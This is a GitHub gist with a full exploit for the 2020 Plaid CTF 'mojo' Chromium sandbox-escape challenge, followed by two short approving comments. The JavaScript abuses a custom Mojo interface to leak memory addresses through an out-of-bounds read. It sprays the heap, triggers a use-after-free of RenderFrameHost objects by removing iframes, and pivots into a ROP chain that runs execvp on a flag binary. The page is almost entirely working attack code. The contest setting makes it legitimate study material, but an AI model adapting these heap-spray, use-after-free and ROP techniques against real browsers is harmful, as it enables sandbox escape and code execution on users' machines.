Skip to content

Instantly share code, notes, and snippets.

@ujin5
Created April 20, 2020 00:11
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38 to your computer and use it in GitHub Desktop.
Save ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38 to your computer and use it in GitHub Desktop.
2020 Plaid CTF mojo
<html>
<body></body>
<script src="../mojo/public/js/mojo_bindings.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script>
var heap;
var replace_data;
var count = 0;
var blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
var kRenderFrameHostSize = 0xc28;
var kSpraySize = 0x10;
var p = 0;
const code = `
<script>
var MAX = 256;
var plaidstore_ptr = [];
function main(){
for(var i = 0 ; i < 1; i++){
plaidstore_ptr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(plaidstore_ptr).handle, "context", true);
}
console.log("alloc plaidstore_ptr");
}
function posttask(){
for(var i = 0 ; i < MAX; i++){
parent.spray();
plaidstore_ptr.getData("hello", 100);
plaidstore_ptr.getData("hello", 100);
}
}
main();
<\/script>`;
const iframe_code = "<html>" +'<script src="../mojo/public/js/mojo_bindings.js"><\/script>'+"<script src=\"../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js\"><\/script>"+ code +"<\/html>"
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process");
var plaidstore_spray = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(plaidstore_spray).handle, "context", true);
function allocate_rfh(src) {
var iframe = document.createElement("iframe");
//iframe.src = src;
document.body.appendChild(iframe);
iframe.contentWindow.document.open('text/htmlreplace');
iframe.contentWindow.document.write(iframe_code);
return iframe;
}
function deallocate_rfh(iframe) {
document.body.removeChild(iframe);
}
stringToBytes = string => Array.prototype.map.call(string + "\x00", v => v.charCodeAt(0));
function initHeap(rop, rop_ptr){
console.log("initHeap");
replace_data = new Uint8Array(kRenderFrameHostSize).fill(0x23);
var u64 = new BigInt64Array(replace_data.buffer);
for(var i =0 ; i < rop.length; i++)
u64[i] = rop[i];
u64[0x650/8] = rop_ptr + 0x600n;
u64[(0x650/8) + 1] = 0n;
var flag_printer = stringToBytes("./flag_printer");
for(var i = 0; i < flag_printer.length; i++)
replace_data[0x600 + i] = flag_printer[i];
/*
for(var i =0; i < kRenderFrameHostSize/8; i++)
u64[1+i] = 0x414141410000n + BigInt(i+1);
//u64.fill(0x414141414141n);
u64[0] = ptr+0x8;
*/
}
function spray(){
for(var i = 0; i < kSpraySize; i++){
plaidstore_spray.storeData(p+i+"woojin", replace_data);
}
p += kSpraySize;
}
function int2bint(arr){
var r = [];
for(var i = 0; i < arr.byteLength; i++)
r.push(BigInt(arr[i]));
return r;
}
async function main(){
//alert("1234");
var oob_read_ptr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(oob_read_ptr).handle, "context", true);
var victim_ptr = [];
for(var i =0; i < 0x40; i++){
victim_ptr[i] = new blink.mojom.PlaidStorePtr();
await oob_read_ptr.storeData("hello"+i, new Uint8Array(0x28).fill(0x23));
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(victim_ptr[i]).handle, "context", true);
}
var data = null;
var base_addr = 0;
for(var i =0; i < 0x40; i++){
data = await oob_read_ptr.getData("hello"+i, 0x200);
var u8 = new Uint8Array(data.data);
var f64 = new Float64Array(u8.buffer);
var u64 = new BigInt64Array(u8.buffer);
for(var j =0; j < 0x200/8; j++){
var k = u64[j]&BigInt(0x00000000fff);
//console.log(u64[j].toString(16))
//console.log(k.toString(16))
if( k == BigInt(0x7a0)){
console.log("FOUND : "+j);
base_addr = u64[j] - 0x9fb67a0n;
render_frame_ptr = u64[j+1];
break;
}
}
if(base_addr != 0)
break;
}
console.log("Base Addr : "+base_addr.toString(16));
console.log("render_frame_ptr : "+render_frame_ptr.toString(16));
for(var i =0 ; i < 0x30; i++)
await oob_read_ptr.storeData("fuck"+i, new Uint8Array(kRenderFrameHostSize).fill(0x41));
var rop_ptr = render_frame_ptr + 0xd00n;
console.log("Exploit start");
var dummy = new Array(43);
dummy.fill(0x4141414141n);
pop_rdi_ret = base_addr + 0x02e4630fn;
pop_rsi_ret = base_addr + 0x02d27a5cn;
pop_rdx_ret = base_addr + 0x02e9998en;
mov_edi_eax_ret = base_addr + 0x072be0c3n;
dest = base_addr + 0x00A6BD6A0n;
src = rop_ptr + 0x600n;
open = base_addr + 0x9EFF410n;
read = base_addr + 0x09EFA930n;
write = base_addr + 0x09EFAA00n;
execvp = base_addr + 0x09EFCA30n;
argv = rop_ptr + 0x650n;
var rop = [
rop_ptr + 8n, // rop + 8; + 0
base_addr + 0x4ff2afbn, // add rsp, 0x0000000000000160 ; pop rbx ; pop r14 ; pop rbp ; ret; + 8
...dummy, // + 0x10
base_addr + 0x663529bn, //xchg rsp,rax; dec DWORD PTR [rax-0x77]; ret ; + 0x168
0x1337n,
0x1337n,
0x1337n,
//0x13371337n,
pop_rdi_ret, // <--- ROP start
src,
pop_rsi_ret,
argv,
execvp,
0x13371337n,
];
initHeap(rop, rop_ptr);
var N = 4;
var frames = [];
// allocate RFH
for (var i = 0; i < N; i++) {
var frame = allocate_rfh();
frames.push(frame);
}
setTimeout(function(){
console.log("trigger");
for (var i = 0; i < N; i++) {
frames[i].contentWindow.posttask();
deallocate_rfh(frames[i]);
}
console.log("end");
},1000);
setTimeout(function() {
location = '';
}, 3000);
}
main();
</script>
</html>
@james0x40
Copy link

Great!

@eternalsakura
Copy link

Great!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment